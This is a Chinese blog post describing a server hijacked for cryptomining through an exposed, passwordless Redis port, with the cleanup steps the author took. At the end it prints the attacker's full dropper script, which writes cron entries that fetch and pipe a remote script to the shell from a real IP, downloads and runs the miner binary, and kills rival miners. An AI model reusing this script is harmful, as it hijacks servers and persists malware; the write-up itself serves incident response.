记一次服务器被挖矿经历与解决办法
在最近的某一天里面,中午的一个小息过后,突然手机的邮件和公众号监控zabbix的告警多了起来。我拿起手机一看原来是某台服务器上的CPU跑满了,就开始登上去看一下是哪个脚本导致负荷高的(在期间使用top -d 1命令查看负荷占用情况)。可以静下来想了下,中午大家都在休息不应该CPU负载会这么高的,心里想80%是服务器被黑了。
后来发现是/tmp/ddgs.3013和/tmp/qW3xT.2这两个文件跑满了服务器CPU,后来决定先kill掉文件PID和删除/tmp目录下的文件,发现一删除就自动创建上了,怎么删除也不能解决掉。经过一系列的查找问题之后发现了crontab上把以前配置都覆盖掉了加上了一条(/5 * wget -q -O- http://165.225.157.157:8000/i.sh | sh)下载一个脚本的命令,但是第一时间就想到服务器被黑了。因为第一次遇见的原因当时心里“小鹿乱转”,后来查了点资料和问了一些同行才知道原来服务器被挖矿了,在度娘里面搜索到的很吓人。
既然已经知道了是被什么gongji(51这也算是敏感字??)的了,也排查到它是经过扫描到我redis端口来黑的,那就对症下药吧!
- 先在防火墙上设置redis端口限制在内网
- 在排查下redis是否有设置密码
vim /usr/local/redis/redis.conf requirepass yourpassword
- 清除crontab的配置
echo > /var/spool/cron/root # 或者 systemctl stop crond
- kill掉占用CPU高的两个文件
ps -ef | grep /tmp/ddgs.3013 | awk ‘{print $2}‘ | xargs kill -9 ps -ef | grep /tmp/qW3xT.2 | awk ‘{print $2}‘ | xargs kill -9
- 最后一步删除/tmp目录下两个文件
rm -rf /tmp/ddgs.3013 rm -rf /tmp/qW3xT.2
慢慢负载才降了下来,真的是心惊胆战啊,睡个觉就出现被挖矿的问题!后来回想了一下出现这种问题不外乎两种
- 1、把redis端口暴露在外网
- 2、redis没设置密码(因为本人是测试环境,偷了下懒没设置密码)
本人很不才两种错误都犯了,也特此提醒自己以后这种错误别在犯了。最后提供上这个脚本的具体内容:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk ‘{print $2}‘ | xargs kill
原文地址:http://blog.51cto.com/legehappy/2152838
时间: 2024-10-19 08:38:11